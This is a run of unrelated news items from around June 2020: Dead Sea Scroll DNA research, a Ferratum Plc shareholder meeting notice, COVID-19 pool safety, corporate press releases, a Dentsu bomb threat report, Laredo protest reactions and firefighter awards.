Most of the material comprising the Dead Sea Scrolls has disintegrated into many fragile pieces numbering roughly 25,000. Very few of the scrolls were intact upon their discovery. For decades, researchers have tried to build the pieces back together, as the fragment heap grows ever larger. It was first stored in the Rockefeller Archaeological Museum at eastern Jerusalem. Mizrahi said that matching the pieces together is a serious challenge.

The researchers focused on 40-50 artifacts, including fragments with ambiguous origins. Research team member Sarit Anaya extracted the DNA of 26 fragments at the clean rooms of the laboratory of Mattias Jakobsson in Sweden's Uppsala University. Sequencing was also done on leather sandals, leather water skins, and a leather garment coming from Qumran.

The DNA sequences were first used to determine what animal was used for creating the parchment, whether it is from a cow, sheep, goats, or ibex. Almost all of the parchments came from the skin of sheep, with a few of them being made of cowhide.

This provided the insight that cow skin scrolls probably came from another area or region, because it is virtually impossible to farm cattle in the desert which surrounds Qumran, due to their need for large amounts of drinking water and grass.

The Book of Jeremiah had three fragments subjected to genetic analysis. One turned out to be made of cow skin while the rest were of sheepskin. The cowhide scrolls were a different version of the said book, which means that the Essenes, as well as the Jewish society of that time, were not "orthodox" because they welcomed different versions of a divinely inspired book. This is unlike what the majority of Jewish communities practice today, with their use of just a single identical Hebrew Bible worldwide.

KU Leuven ancient Judaism and Dead Sea Scrolls specialist Eibert Tigchelaar says that the new technique can help in more than just the cultural aspect. It can help in a substantial way towards reconstructing the scrolls. A database can be created from the DNA of a large section of the material, which can help identify thousands of unidentified fragments. The new interdisciplinary approach brought forth new tools for studying ancient artifacts.
NOTICE TO CONVENE FERRATUM PLCs ANNUAL GENERAL MEETING OF SHAREHOLDERS

Notice is given to the shareholders of Ferratum Plc that the Annual General Meeting of the Company is to be held on 30 June 2020 at 10:00 a.m. (EEST, Finnish time) at the offices of Castren & Snellman Attorneys Ltd, Etelaesplanadi 14, Helsinki, Finland.

In order to limit the spread of the COVID-19 epidemic, the Companys Board of Directors has decided to adopt the exceptional meeting procedure provided for in the Finnish Act 290/2020, which temporarily deviates from some of the provisions of the Finnish Limited Liability Companies Act. The Board of Directors has decided to take the measures permitted by the temporary legislation in order to hold the General Meeting in a predicable manner while also taking into account the health and safety of its shareholders, personnel and other stakeholders.

The Companys shareholders can participate in the meeting and exercise their rights only by voting in advance and by presenting counterproposals and questions in advance. Instructions for shareholders are provided below in Section 3 (Instructions for the Participants in the General Meeting of Shareholders).

It will not be possible to participate in the meeting in person, and no video link to the meeting venue will be provided. The Companys Board of Directors, CEO, other management and the auditor will not be present at the meeting venue. The CEOs pre-recorded address will be published on the Companys website on the date of the meeting.

1 Matters on the agenda of the General Meeting of Shareholders

At the General Meeting of Shareholders, the following matters will be considered:

(1) Opening of the Meeting

(2) Calling the Meeting to Order

Attorney Janne Lauha will serve as chairperson of the General Meeting.

If Janne Lauha is prevented from serving as the chairperson for a weighty reason, the Board of Directors will appoint a person they deem most suitable to serve as the chairperson.

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(3) Election of Persons to Scrutinise the Minutes and to Supervise the Counting of Votes

Attorney Teresa Kauppila will serve as the person to scrutinise the minutes and to supervise the counting of votes.

If Teresa Kauppila is prevented from serving as the person to scrutinise the minutes and to supervise the counting of votes for a weighty reason, the Board of Directors will appoint a person they deem most suitable to scrutinise the minutes and to supervise the counting of votes.

(4) Recording the Legality of the Meeting

(5) Recording the Attendance at the Meeting and Adoption of the List of Votes

Shareholders who have voted in advance within the advance voting period and who are entitled to participate in the General Meeting in accordance with chapter 5, sections 6 and 6 a of the Finnish Limited Liability Companies Act will be deemed shareholders participating in the meeting.

(6) Presentation of the Annual Accounts including the Consolidated Annual Accounts, the Report of the Board of Directors and the Auditor's Report for the Year 2019

Because it is only possible to participate in the General Meeting by voting in advance, the Companys Annual Report published on 26 March 2020, which includes the Companys financial statements and report of the board of directors as well as the auditors report and which is available on the Companys website, will be deemed to have been presented to the General Meeting.

(7) Adoption of the Annual Accounts

(8) Resolution on the Use of the Result Shown on the Balance Sheet and the Payment of Dividend

The result for the financial year 2019 of Ferratum Plc amounted to EUR 21,619,607. Unrestricted equity of the Company at the end of the financial year stood at EUR 69,321,994.The result for the financial year 2019 of Ferratum group amounted to EUR 23,648,402.

The Board of Directors proposes to the Annual General Meeting that, for the financial year ended 31 December 2019, no dividends be distributed based on the balance sheet to be adopted for 2019 by a resolution of the General Meeting but that the Board of Directors be authorised to decide on the distribution of dividends at their discretion as follows:

Based on the authorisation, the Board of Directors could decide to distribute dividends from the Companys unrestricted equity in one or more tranches so that the amount of dividends to be distributed does not exceed a total of EUR 0.21 per share. Based on the authorisation, the Board of Directors would be entitled to decide on the amount of dividends within the limits of the above maximum amount, on the dividend record date, on the dividend payment date as well as for other measures required by the matter. The Company will publish each possible dividend distribution decision separately and in the same connection confirm the final record and payment dates.

The dividends to be possibly distributed based on the Board of Directors decision would be paid to shareholders who are registered in the Companys shareholders' register held by Euroclear Finland Oy on the dividend record date.

The authorisation would be in force until the start of the next Annual General Meeting.

As the Board of Directors has proposed that no dividends be distributed by a resolution of the General Meeting, the shareholders have the right to demand minority dividend in the amount to be determined pursuant to chapter 13, section 7 of the Finnish Limited Liability Companies Act. The minority dividend must be distributed if shareholders with at least one tenth of all the shares in the Company make a demand to that effect. The demand for minority dividend will be considered as having been made if a shareholder votes for the minority dividend in the advance voting. No separate demand or counterproposal will be required to be made.

(9) Resolution on Discharging the Members of the Board of Directors and the CEO from Liability

(10) Consideration of the Remuneration Policy for Governing Bodies

Because it is only possible to participate in the General Meeting by voting in advance, the Remuneration Policy for Governing Bodies, which is attached to this notice and is available on the Companys website at www.ferratumgroup.com, will be deemed to have been presented to the General Meeting.

(11) Resolution on the Remuneration of the Members of the Board of Directors

The Board of Directors proposes on recommendation of the Remuneration Committee that the fees payable to the members of the Board of Directors be increased, and that each member of the Board of Directors be paid EUR 4,000 per month. Furthermore, it is proposed that no remuneration will be paid to the members who are employees or Managing Directors of the Company or a subsidiary of the Company.

(12) Resolution on the Remuneration of the Auditor

The Board of Directors proposes on recommendation of the Audit Committee that the Auditor be paid reasonable remuneration in accordance with the Auditor's invoice, which shall be approved by the Company.

(13) Resolution on the Number of Members of the Board of Directors

The Board of Directors proposes that the number of members of the Board of Directors be eight.

(14) Election of the Members of the Board of Directors

The Board of Directors proposes that Goutam Challagalla, Michael A. Cusumano, Jorma Jokela, Lea Liigus, Frederik Strange, Juhani Vanhala and Christopher Wang be re-elected as members and that Clemens Krause be elected as a new member, each one for a term ending at the end of the next Annual General Meeting.

The Chairman and the Vice Chairman will be elected by the board of directors from amongst its members.

The curricula vitae of the proposed members of the Board of Directors are available on the Companys website at www.ferratumgroup.com.

(15) Election of the Auditor

The Board of Directors proposes on recommendation of the Audit Committee that Authorised Public Accountants PricewaterhouseCoopers Oy be re-elected as the Auditor for a term ending at the end of the next Annual General Meeting.

PricewaterhouseCoopers Oy has notified that, should they be re-elected, authorised public accountant (KHT) Jukka Karinen will act as the auditor-in-charge.

(16) Authorisation to the Board of Directors to Decide on the Repurchase of Companys Own Shares

The Board of Directors proposes that the Annual General Meeting authorises the Board of Directors to decide to repurchase a maximum of 1,086,198 shares in the Company, which corresponds approximately to 5 per cent of all the shares in the Company.

By virtue of the authorisation, own shares may be repurchased by using the Companys unrestricted equity. Consequently, any repurchase will reduce the Companys funds available for distribution of profits.

Own shares may be repurchased through public trading on the Frankfurt Stock Exchange at the prevailing market price on the date of repurchase.

The authorisation entitles the Board of Directors to decide to repurchase shares also otherwise than in proportion to the shareholders holding in the Company by way of a directed repurchase subject to the requirements set out in the Finnish Limited Liability Companies Act. The Board can use the authorisation in one or several tranches to all purposes decided by the Board of Directors.

The authorisation is proposed to be in force until the next Annual General Meeting, however, no longer than until 30 June 2021.

(17) Authorisation to the Board of Directors to Decide on the Issuance of Shares and Special Rights Entitling to Shares

The Board of Directors proposes that the Annual General Meeting authorises the Board of Directors to decide to issue a maximum of 3,258,594 shares, which corresponds approximately to 15 per cent of the Companys total amount of shares. The Board of Directors may issue either new shares or transfer existing shares held by the Company.

The authorisation also includes the right to issue special rights, in the meaning of chapter 10, section 1 of the Finnish Limited Liability Companies Act, which entitle to the Company's new shares or the Companys own shares held by the Company against consideration. Shares that may be subscribed for by virtue of the special rights entitling to shares are included in the aforesaid maximum number of shares.

The authorisation entitles the Board to decide on a directed share issue and issue of special rights in deviation from the pre-emptive rights of shareholders subject to the requirements set out in the Finnish Limited Liability Companies Act. The Board can use the authorisation in one or several tranches, and it may be used to all purposes decided by the Board of Directors, such as developing the Companys capital structure, financing or carrying out acquisitions or other arrangements, or as a part of the Companys incentive schemes.

The authorisation is proposed to be in force until the next Annual General Meeting, however, no longer than until 30 June 2021.

(18) Closing of the Meeting

2 Meeting materials

The proposals of the Board of Directors relating to the agenda of the General Meeting of Shareholders as well as this notice and the Remuneration Policy for Governing Bodies are available on Ferratum Plcs website at www.ferratumgroup.com.

The Annual Report of Ferratum Plc, including the Company's Annual Accounts, the report of the Board of Directors and the Auditor's report, is available on the above-mentioned Ferratum Plcs website.

Copies of these documents and of this notice will be sent to shareholders upon request.

The minutes of the meeting will be made available on Ferratum Plcs website no later than on 14 July 2020.

3 Instructions for the participants in the General Meeting of Shareholders

A shareholder may participate in the General Meeting and exercise his/her rights at the meeting only by voting in advance in accordance with the instructions provided below.

3.1 Shareholders Registered in Shareholders Register

Each shareholder who is registered in the shareholders' register of the Company held by Euroclear Finland Oy on 17 June 2020, has the right to participate in the General Meeting of Shareholders. Shareholders whose shares are registered on his/her personal Finnish book-entry account are registered in the shareholders' register of the Company. Shareholders can participate in the General Meeting only by voting in advance as described below.

Shareholders, who are registered in the shareholders register of the Company, and who wish to participate in the General Meeting, must register for the meeting by giving prior notice of participation and by delivering their votes in advance as instructed below. Both the notice of participation and votes have to be received by Computershare AB no later than on 23 June 2020 at 3:00 p.m. (CEST, Frankfurt time).

In connection with the registration, shareholders are required to provide certain information such as their name, personal identification number/business ID, address and telephone number. Personal data disclosed by shareholders to Ferratum Plc or Computershare AB will only be used in connection with the General Meeting and the processing of the related registrations.

Shareholders with a Finnish book-entry account can register and vote in advance on certain matters on the agenda during the period 12 June 2020  23 June 2020 at 3:00 p.m. (CEST, Frankfurt time) by post or email. Shareholders shall deliver the advance voting form available on the Companys website www.ferratumgroup.com or corresponding information by post to Computershare AB, Ferratum Plc AGM 2020, Aleksanterinkatu 15 B, 6th floor, 00100 Helsinki, Finland or by email to info@computershare.se.

If a shareholder participates in the General Meeting by delivering votes in advance by post or email to Computershare AB, the delivery of the votes before the end of registration and the advance voting shall constitute due registration for the General Meeting, provided that the above-mentioned information required for registration has been included.

The advance voting form as well as further instructions concerning voting are available on the Companys website at www.ferratumgroup.com before the start of the advance voting.

3.2 Holders of Nominee Registered Shares

Holders of nominee registered shares have the right to participate in the General Meeting by virtue of shares, based on which they would be entitled to be registered in the shareholders' register of the Company held by Euroclear Finland Oy on the record date of the General Meeting, i.e. on 17 June 2020. In addition, the right to participate in the General Meeting requires that the holders of nominee registered shares be temporarily entered into the shareholders' register held by Euroclear Finland Oy based on these shares by 25 June 2020 at 9.00 a.m. (CEST, Frankfurt time), at the latest. This registration constitutes due registration for holders of nominee registered shares wishing to participate in the Annual General Meeting. Changes in shareholding after the record date do not affect the right to participate in the meeting or the number of votes.

Holders of nominee registered shares are advised to ask their custodian bank without delay for the necessary instructions regarding registration in the Companys temporary shareholders' register, the issuing of proxy documents and registration for the General Meeting of Shareholders. The account management organisation of the custodian bank must register holders of nominee-registered shares in the Companys temporary shareholders' register at the latest by the time stated above and arrange advance voting on behalf of the holders of nominee registered shares.

Further information on these matters is also available on the Companys website at www.ferratumgroup.com.

3.3 Proxy Representatives and Power of Attorney

Shareholders may participate in the General Meeting of Shareholders and exercise their rights at the meeting by way of proxy representation. Proxy representatives of shareholders are also required to vote in advance in the manner instructed in this notice.

Proxy representatives must produce a dated proxy document or otherwise reliably demonstrate their right to represent the shareholder. If a shareholder participates in the General Meeting of Shareholders by means of several proxy representatives representing the shareholder with shares in different securities accounts, the shares by which each proxy representative represents the shareholder must be identified in connection with the registration for the General Meeting of Shareholders.

A form of proxy is provided on Ferratum Plcs website at www.ferratumgroup.com. The form of proxy is provided for the shareholders' convenience and it is not necessary to use the form provided on the website.

Any proxy documents are requested to be delivered by post to Computershare AB, Ferratum Plc AGM 2020, Aleksanterinkatu 15 B, 6th floor, 00100 Helsinki, Finland or by email to info@computershare.se before the end of registration on 23 June 2020 at 3:00 p.m. (CEST, Frankfurt time) by which time the proxy documents must be received.

3.4 Other Instructions and Information

Shareholders who hold at least one one-hundredth of all the shares in the Company have the right to make a counterproposal concerning the proposed decisions on the agenda of the Annual General Meeting to be placed for a vote. The counterproposals must be delivered to the Company to the e-mail address ir@ferratum.com at the latest by 11 June 2020 at 3:00 p.m. (CEST, Frankfurt time). In connection with the counterproposal, the shareholders must present a statement of their shareholding in the Company. The counterproposal is admissible for consideration at the Annual General Meeting if the shareholders who have made the counterproposal have the right to attend the meeting and represent at least one one-hundredth of all shares in the Company on the record date of the Annual General Meeting. If a counterproposal is non-admissible, votes cast for such counterproposal will not be recorded at the meeting. The Company will publish the counterproposals eligible for voting on the company website at www.ferratumgroup.com at the latest on 12 June 2020.

Shareholders have the right to pose questions and request information with respect to the matters to be considered at the meeting pursuant to chapter 5, section 25 of the Finnish Limited Liability Companies Act by e-mail to the address ir@ferratum.com at the latest by 17 June 2020 at 3:00 p.m. (CEST, Frankfurt time). The Company will publish the shareholders questions along with the managements and the board of directors responses as well as any counterproposals not eligible for voting on the Companys website at www.ferratumgroup.com at the latest on 18 June 2020. Posing questions and counterproposals requires the shareholder to present an adequate statement of their shareholding in the Company.

On the date of this notice to the Annual General Meeting of Shareholders, dated 5 June 2020, the total number of shares in Ferratum Plc is 21,723,960 and each of these shares carries one vote. Ferratum Plc holds 146,200 of its own shares as treasury shares. Accordingly, the number of voting rights carried by the outstanding shares is 21,577,760.



In Helsinki on 5 June 2020

FERRATUM PLC

The Board of Directors
However, pools and water parks present unique challenges for following those guidelines. Wearing a mask is all but impossible while swimming, and social distancing may be difficult at crowded locations. (The New York Times reported last week that a partygoer who attended a crowded pool party over Memorial Day weekend at the Lake of the Ozarks in Missouri tested positive for coronavirus.)

The danger, experts say, isnt in the water.

Theres nothing inherent about ocean water or especially pool water that is risky. The bug isnt transmitted via a waterborne route, said Dr. Ebb Lautenbach, chief of infectious diseases at the University of Pennsylvanias Perelman School of Medicine. Chlorine and bromine that are in pools inactivate the virus and makes it even lower risk in terms of catching it from the water.

There probably is a theoretical possibility you could get infected by coronavirus from the pool water itself, but its so negligible its probably effectively zero, said Angela Rasmussen, a virologist at the Columbia University Mailman School of Public Health.

The risk of catching the virus at a pool or water park, rather, comes from the other people there.

The current consensus among experts is that the primary way coronavirus spreads is person to person, when an uninfected individual breathes in droplets expelled from an infected person through coughing, sneezing or talking. While it is possible to contract the disease from touching a surface with active virus, according to the Centers for Disease Control and Prevention, this is not thought to be the main way the virus spreads.

So worry less about the water and the surface on that lounge-chair, and more about the person standing next to you at the water-park entrance or wading in the shallow end as you swim by. Remember, you are more at risk indoors, like in a crowded locker room or indoor cafe.
TORONTO, June 05, 2020 (GLOBE NEWSWIRE) -- The restaurant industry is slowly starting to reopen to the public, but its a whole new world out there. In order to help foodservice operators reopen their businesses safely, as well as manage and grow their business in the next normal, Restaurants Canada has launched the Rapid Recovery Series. Over three days, foodservice professionals can learn and gain insights from 10 free one-hour webinars that will address some of the major challenges and pressing issues facing the foodservice industry during COVID-19 recovery.

There is no denying that the COVID-19 situation presents our industry, and country at large, with an incredible challenge. As we move into recovery, it is important to stay optimistic while also realistic about the future, said Shanna Munro, President and CEO of Restaurants Canada. Our industry is a resilient one, though it may be a while until the restaurant landscape looks the way it used to, in adversity there is always opportunity; to learn, to grow, and to change. We need to consider what the next normal will look like and how we can rebuild our businesses and adapt to new consumer needs and habits.

In order to help prepare foodservice operators for reopening and recovery, the online series will tackle such topics as:

Profit Modelling Scenarios

Menu Engineering

Navigating Landlord and Tenant Agreements

Rebuilding Your Workforce

Winning Your Customers Back

Leveraging the Supply Chain for the Future

The Rapid Recovery Series will also feature an exclusive CEO Panel that will speak to the future of foodservice, provide leadership insights, and ideas for reinvention to help foodservice operators move forward in the next normal.

By curating content to align with the most vital concerns of foodservice operators, Restaurants Canada is empowering industry professionals with the expertise and knowledge needed to recover from the pandemic and rebuild their communities.

Everyone who registers for a Rapid Recovery Series Session will receive a copy of the Restaurants Canada Rapid Recovery Guide, which provides foodservice operators with a summary of best practices to aid with their planning around food safety, cleaning and sanitation, health and personal hygiene, and more.

In addition, all those who register will be automatically entered for a chance to win the Lets Re-Launch Right package from The Fifteen Group worth $6,950 (CAD). The package will provide access to a Profitability Model "Re-Work", New Budget Development, Menu Re-Engineering, "Re-Opening Punch List" Review, Pre-Launch Training Plan and Recommendations, Sanitation Procedures Development and Recommendations with On-site Support During Relaunch.

Operators and suppliers in the foodservice industry are invited to join one or all 10 sessions designed to help the industry reopen, re-invent and rebuild their businesses. For more information, please visit www.restaurantscanada.org/rapidrecovery.

About Restaurants Canada

Restaurants Canada is a national, not-for-profit association advancing the potential of Canadas diverse and dynamic foodservice industry through member programs, research, advocacy, resources and events. Before the start of the COVID-19 pandemic, Canadas foodservice sector was a $93 billion industry, directly employing 1.2 million people, providing Canadas number one source of first jobs and serving 22 million customers across the country every day. The industry has since lost more than 800,000 jobs and is on track to lose between $22.6 billion and $44.8 billion in annual sales compared to 2019, due to the impacts of COVID-19.
KYODO NEWS - Jun 5, 2020 - 21:25 | All, Japan

Advertising agency Dentsu Group Inc. evacuated its headquarters in Tokyo Friday after a bomb threat was made, with security guards cordoning off the building and commercial facilities in the vicinity.

The threat against the head office was made as a posting on the company's website, Dentsu said. The message with a personal name said, that "a bad company that disturbs the world will be disciplined," an informed source said.

File photo taken May 15, 2020, shows the Tokyo headquarters of Dentsu Inc., Japan's largest advertising agency. (Kyodo)

The message also said the bomb will detonate at 7 a.m. on June 7, according to police, which searched the building but found nothing suspicious.

Dentsu has recently come under criticism for involvement in allegedly shady dealings in the government's cash benefit program for small companies hit by the new coronavirus outbreak.

"We alerted the customers in the shopping and restaurant area (of the building), as well as Dentsu employees around 2 p.m. to leave the building," said a security guard who declined to be named.

The ad agency is based in the Shiodome business and leisure district near Tokyo Bay, marked by office towers, shopping centers, and high-rise hotels.

Companies including Shiseido Co., ANA Holdings Inc., Nippon Television Network Corp. and Kyodo News have their headquarters in the area.

Dentsu said it has tightened security in the 48-story office building and around the area, with entry to the building and facilities around the area prohibited. About 20 percent of its employees at the headquarters currently work in the building while others are working from home as a measure to prevent further spread of the new coronavirus.

"I wanted to buy boxed lunch at the convenience store inside the building," a 49-year-old man working for an energy company in the Shiodome area said. "But I was told by a security guard that I could not go inside. I heard some people in my office talking about a bomb threat as they had seen the news on the internet."

An organization, believed to be set up by Dentsu and two other companies, won the bid for the government's cash benefit program for small and medium-sized companies hit by the coronavirus at 76.9 billion yen ($712 million) and then recommissioned the work to handle applications from businesses to Dentsu for 2 billion yen less.

The board of the council of the organization, Service Design Engineering Council, consists of eight part-time members, including those linked to Dentsu, Pasona Group Inc. and Transcosmos Inc.

Opposition parties criticized the process, as the work could have been directly consigned to Dentsu at a lower price.

Dentsu then consigned the work to temporary staffing service Pasona and Transcosmos, which provides integrated marketing, outsourcing and call center services.

The ad agency has told Kyodo News it is carrying out the program in line with a government manual, and there is no problem with its implementation.
Srinagar: One Indian Army jawan lost his life in a ceasefire violation by Pakistan in the Sunderbani sector of Rajouri district. The incident took place on Thursday (June 4) evening. The ceasefire violation by Pakistan took place at around 7 pm to which the Indian Army retaliated befittingly.

According to officials, the Pakistan army targeted the forwards areas in Sunderbani sector.

In another development, a terrorist was killed in an encounter with the security forces Rajouri on Thursday. According to sources, the Army and J&K Police had launched a cordon and search operation in Kalakote belt of the district after receiving specific inputs about the presence of infiltrating terrorists there.

One of them was reportedly killed by the security forces after the hiding terrorists opened fire.

At least two-three terrorists were believed to be trapped in the area and the encounter was underway till Thursday midnight.
VANCOUVER, BC, June 4, 2020 /PRNewswire/ - Alexco Resource Corp. (NYSE: AXU) (TSX: AXU) ("Alexco" or the "Company") announces the results of matters voted upon its Annual General Meeting (the "Meeting") of shareholders held earlier today.

A total of 72,794,052 votes were cast, representing 58.40% of the issued and outstanding common shares as of the record date of the Meeting. All nominated directors were elected with voting results tabulated as follows:

Nominee Votes For Percentage Votes Withheld Percentage Clynton R. Nauman 37,708,391 98.69% 502,295 1.31% Elaine Sanders 37,673,536 98.59% 537,150 1.41% Karen McMaster 37,665,808 98.57% 544,878 1.43% Michael D. Winn 37,738,692 98.76% 471,994 1.24% Richard N. Zimmer 37,707,540 98.68% 503,146 1.32% Rick Van Nieuwenhuyse 37,664,095 98.57% 546,591 1.43% Terry Krepiakevich 37,684,305 98.62% 526,381 1.38%

Shareholders also voted 82.02% in favour of the approval of annual award grants to independent directors in 2019, and 98.82% in favour to set the number of directors at seven. In addition, PricewaterhouseCoopers LLP, Chartered Professional Accountants, were re-appointed as auditors with 98.48% voting support.

About Alexco

Alexco is a Canadian primary silver company that owns the majority of the historic high-grade Keno Hill Silver District (the "District") in Canada's Yukon Territory. Alexco has a long history of expanding Keno Hill's mineral resources through successful exploration and is currently advancing a development plan for the District. In 2019, the Company published a positive pre-feasibility study that estimates production of 1.12 million tonnes of ore at an average rate of 430 tonnes per day at an average grade of 805 grams per tonne silver over an 8-year mine life from the Flame & Moth, Bermingham, Bellekeno and Lucky Queen deposits.

Please visit the Alexco website at www.alexcoresource.com

Cautionary Note Regarding Forward-looking Statements

Some statements ("forward-looking statements") in this news release contain forward-looking information concerning the Company's anticipated results and developments in the Company's operations in future periods, made as of the date of this news release. Forward-looking statements may include, but are not limited to, statements with respect to the timing of activities and reports. Forward-looking statements are subject to a variety of known and unknown risks, uncertainties and other factors which could cause actual events or results to differ from those expressed or implied by the forward-looking statements. Forward-looking statements are based on certain assumptions that management believes are reasonable at the time they are made. There can be no assurance that forward-looking statements will prove to be accurate and actual results and future events could differ materially from those anticipated in such statements. The Company expressly disclaims any intention or obligation to update or revise any forward-looking statements whether as a result of new information, future events or otherwise, except as otherwise required by applicable securities legislation.

SOURCE Alexco Resource Corp.

Related Links

www.alexcoresource.com


The ongoing COVID-19 pandemic is not the only thing uniting people as the continued protests both nationally and locally seem to unite people on both ends of the spectrum.

The city has already experienced at least two formal protests against police brutality and city corruption and more are expected. Laredoans have reacted differently to the ongoing rioting and peaceful protests around the country. Most Laredoans seem to favor peaceful protests and uprising against police brutality, as these citizens shared with LMT.

Everyone should have support for racial issues and fight to stop police brutality, Christina Nonie Espinoza said. We are one in this.

The sentiment seems to be the same among all Laredoans as they feel that something has to be done about injustice against minorities.

However, some people pointed out that they do not understand why those in Laredo, a predominantly Hispanic community, are joining in on protests as the target seems to be to call for equality for black individuals hurt by police officers. There was also support for Latinos to also protest social injustice as many pointed out that the issue of injustice affects Latinos as well.

We as Latinos are victims of the same injustice by those of ICE (U.S. Immigration and Customs Enforcement) and we should stand with BLM (Black Lives Matter) for police reform, Ricky Soto said.

Many fault close-mindedness in the city as the main reason why there is not much support for the individuals and groups that want change in the city.

Its a great thing that they're doing, and they should continue to do it. Some people here are very close minded, and it doesnt help the situation, Kayla Patlan said.

The support for the local protests seem to be high, however, there is caution when it comes to committing acts of violence or rioting. Laredoans for the most part do not support any violent uprising as they believe it will only cause the destruction of local property while failing to enact change.

Laredoans especially do not understand why local retailers like Walmart were threatened by protesters and looters in several messages posted to social media.

I think peacefully assembling is always a good thing, Alex Mata said. I dont understand why people were threatening to loot our Walmarts, but Im glad our cops got on top of it quickly. I hope we continue to act responsibly and remember that this is our city, and if we mess it up, we'll be the ones to clean it up.

As long as the protests and the calls for action are peaceful, then Laredoans seem to favor them. Violent protesting goes against the principles of true justice that people seek for George Floyds death.

Protesting is okay. Stealing and vandalizing is not, Ray Reyna said. What if it was your house, car or business? Would you like it? Those who are stealing, vandalizing and physically hurting others, they dont care of what happen to Mr. Floyd.

Many interviewed discussed how the George Floyd incident and others like it show things really have not changed. Although the protests and riots are considered historic to some mark, the social injustice and racial tensions that are being seen today are something that has been apparent for decades, and even some Laredoans understand such an issue.

I am over 70 years old, and I have experienced discrimination because I am Latina from whites and blacks, but that doesn't give me the right to destroy private property and the livelihood of many innocent people, SJ Morales said. I was in college in the early 70s and I was lucky because the protests I witnessed were for the most part peaceful. My first friend in college was black and my roommate was white. Imagine how people reacted when we walked down a street that resembled Clark Boulevard to go to the shopping mall. Traffic would stop on both sides because people could not believe that three races were getting along. Some would scream insults, but for the most part they were in shock.

While social injustice is the primary concern, many also expressed growing concern over the grouping of crowds during protests and the impact it could have on the COVID-19 pandemic. Some are afraid a lack of social distancing at protests will cause a spike in coronavirus cases.

I think some protesters are taking it the bad way, Leesly Rodriguez said. I dont mind, but just keep it professional if youre going to protest. Be smart of what to do. Dont affect us because of your immature choices.

Although the Laredo public seems to support the protests in the city and elsewhere, it is evident they do not support any looting or violence of any kind. However, others find local protests against city corruption questionable as they do not believe they are fighting for justice for George Floyd.

My and my opinion only, the death of Mr. Floyd is one thing and totally different from political corruption, Roberto Reyes Jr. said.

However, some argue that something must be done as time alone does not change things.

Fifty years later I have the same fears because a lot of racist people don't want to change their narrow-minded views, Morales said. The violence did not change much, but I see more people coming together to help others. We have rotten apples in all areas of employment, so we need to expose them every time we witness an injustice. Social media can help, but it should not be used as a means to promote violence. Some TV stations do that, and people are too blind to see that they are making money from their ignorance.
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The pandemic added its own accelerant to the mix. For roughly three months before Mr. Floyds death, Americans were living in a state of hypervigilance and anxiety, coping with feelings of uncertainty, fear and vulnerability  things many black Americans experience on a regular basis. Information about how to avoid the virus was distressingly sparse and confusing as local and federal officials sparred about the severity of the pandemic and how best to contain it.

Meanwhile, a clearer  and bleaker  picture of the country began to emerge. The privilege among some was in stark contrast to the lack of it among others. While some Americans fled cities to second homes, millions of others filed for unemployment and formed lines at food banks. Empathy for the plight of essential workers, a category in which black people are overrepresented, swelled tremendously. Data revealed that black and Latinx communities were being disproportionately ravaged by the pandemic.

At the same time, social distancing meant much of daily life  school, work, meetings, parties, weddings, birthday celebrations  was migrating to screens. It seems wed just created newfound trust and intimacy with our phones and computers when the gruesome parade of deaths began a procession across them. Ahmaud Arbery was chased down and killed in Glynn County, Ga., on Feb. 23. Breonna Taylor was in bed when the police entered her apartment and sprayed her with bullets in Louisville, Ky., on March 13. Nina Pop was found stabbed to death in Sikeston, Mo., on May 3. Tony McDade was gunned down by the police in Tallahassee, Fla., on May 27.

By the time outrage and despair over Mr. Floyds death filled our feeds, the tinderbox was ready to explode.

If the country had been open per usual, some organizers told me, the distractions of pre-pandemic life might have kept people from tuning into the dialogues online. Several said this is the most diverse demonstration of support for Black Lives Matters that they can recall in the movements seven-year history. On May 28, Twitter told me, more than eight million tweets tagged with #BlackLivesMatter were posted on the platform. By comparison, on Dec. 4, 2014, nearly five months after Eric Garner died at the hands of a police officer on Staten Island, the number of tweets tagged with #BlackLivesMatter peaked at 146,000.

Finally, theres the sheer volume of video documentation of the police atrocities at the protests themselves, which has only served to reaffirm critiques of unbridled uses of force and underscore the cognitive dissonances.
Firefighters from the Spring Fire Department and the Cypress Creek Fire Department were recently recognized by the 100 Club as firefighters of the year for rescues made in their community.

Seven Spring firefighters were recognized with the honor for a rescue made last October at a Spring Motel 6, where they helped multiple people escape the burning building. The firefighters recognized were Deputy Chief Jerod Davenport, Captain Jermaine Wilson, and firefighters Rodger Hernandez, Shawn Kohl, Jeffrey Paige, Nathan Smith and Christopher Soliz.

Training continues during COVID-19: New firefighters join Spring Fire Department amid coronavirus pandemic

Smith called the award a great honor.

I was surprised at first when I found out about it, but Im just glad I could be of service and they wanted to recognize us for what we did, Smith said.

Smith said he was one of the firefighters on the first line to show up to the scene. One person had been pulled out of a third-story window and Smith was sent in with other firefighters to search the rest of the building for people still inside.

When we were halfway through the third floor we found a man in the hallway and his girlfriend was inside the room, Smith said.

On HoustonChronicle.com: 'Thousands of gallons' of oil illegally buried in Crosby, leaking into waterway, constable says

From there, they went back outside and rescued the two by helping them out of their bedroom window.

That was definitely one for the books, Smith said, three years into his firefighting career. As many would describe a career fire. Its something you may never get to be a part of in your life.

Smith said he didnt know what to expect on his way there but knew the men he was riding with were highly experienced and trusted them to focus on getting the job done.

Wilson, the officer on the crew for the rescue, said five people were pulled out in total that day, as well as some dogs.

If you can get the fire contained it makes everything better for everybody else, Wilson said. Were just trying to get the job done.

Hernandez called it the largest fire of his career, having been a firefighter for four years, and said emotions were running high going to the call and hearing there were victims trapped.

We train every shift, every tour for moments like these and it was time to put all that training and knowledge out on the field, Hernandez said.

Captain David Paige was another Spring firefighter given the honor by the 100 Club for a different fire, where he was able to rescue a mother who had been trapped on the second floor of her burning home.

Paige said they had gotten the call about the fire on the morning of Sept. 3 last year, when she stayed on the line with the 911 dispatcher the entire time until the firefighters arrived and let them know where she was inside the house.

Upon arrival, Paige climbed up a ladder to a window on the second floor, which he managed to break open and pull the woman outside.

By the time we got there she was still semi-conscious, but she could still barely stand up on her own power, Paige said.

Paige called the honor from the 100 Club a cool feeling.

For me its really just our job, Paige said. It entails that, so for them to recognize that, its great definitely, but its more for the family and the friends.

Three Cypress Creek Firefighters were also recognized by the 100 Club for rescuing a woman from her burning home in March: Lt. Jack Johnson, Eduardo Macias and Mario Medina.

Johnson said they had arrived on scene by about 3 a.m., so they knew there was a possibility of someone being inside and began pulling the hose out to put out the fire, which had already burned through the roof. They were then commissioned to search inside when they found the woman headed toward the bedroom.

From there, Jonson said they were able to get her out through the front door and onto a stretcher where emergency medical services took over.

Johnson, a firefighter of 15 years, said this was his first time to make a rescue. It was also the first rescue for Macias and Medina. Typically, the occupants are already out by the time they arrive on scene, he said.

